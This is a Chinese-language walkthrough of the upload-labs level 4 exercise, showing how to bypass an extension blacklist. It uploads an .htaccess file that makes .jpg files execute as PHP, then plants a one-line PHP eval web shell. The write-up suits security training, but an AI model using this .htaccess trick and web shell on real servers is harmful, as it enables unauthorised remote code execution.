文件上传之 .htaccess文件getshell
.htaccess文件
htaccess 在站点的根目录下面,不是在apache目录下,但是它属于apache的一个配置文件
htaccess文件时Apache服务中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能
其中.htaccess文件内容:SetHandler application/x-http-php的意思是设置当前目录所有文件都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则则报错
http.conf文件(前提条件)
在此文件中设置 AllowOverried All ,才能使用.htaccess文件
利用htaccess文件getshell
实验环境:upload-labs 的 less-4
下载地址:https://github.com/c0ny1/upload-labs
如果在一个黑名单中添加了很多后缀名,唯独没有对htaccess过滤,可以直接上传.htaccess来设置使用php解析任意文件。
<FilesMatch "\.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
源码分析
对php,asp,jsp等进行过滤,大小写的方式也不行
但是可以上传.jpg文件,可是 .jpg只有解析成 php文件才能getshell
因此我们需要先上传 .htaccess 文件,然后再上传 .jpg文件
创建.htaccess文件
在本地创建一个.htacces文件,输入以下内容,**然后点击另存为,将保存类型设置为所有文件
上传.htaccess文件
由于没有对.htaccess文件进行过滤,因此我们可以上传.htaccess文件
上传一句话木马
保存为 stack.jpg 文件
<?php eval($_POST['a']); ?>
获取绝对路径
通过burpsuite抓包的方式得到上传的路径:http://127.0.0.1/upload-labs-master/upload/stack.jpg
做法如下:
- 点击response to this reuqest ,再点击forword,得到响应包
2. 观察响应包的内容
这样就得到了绝对路径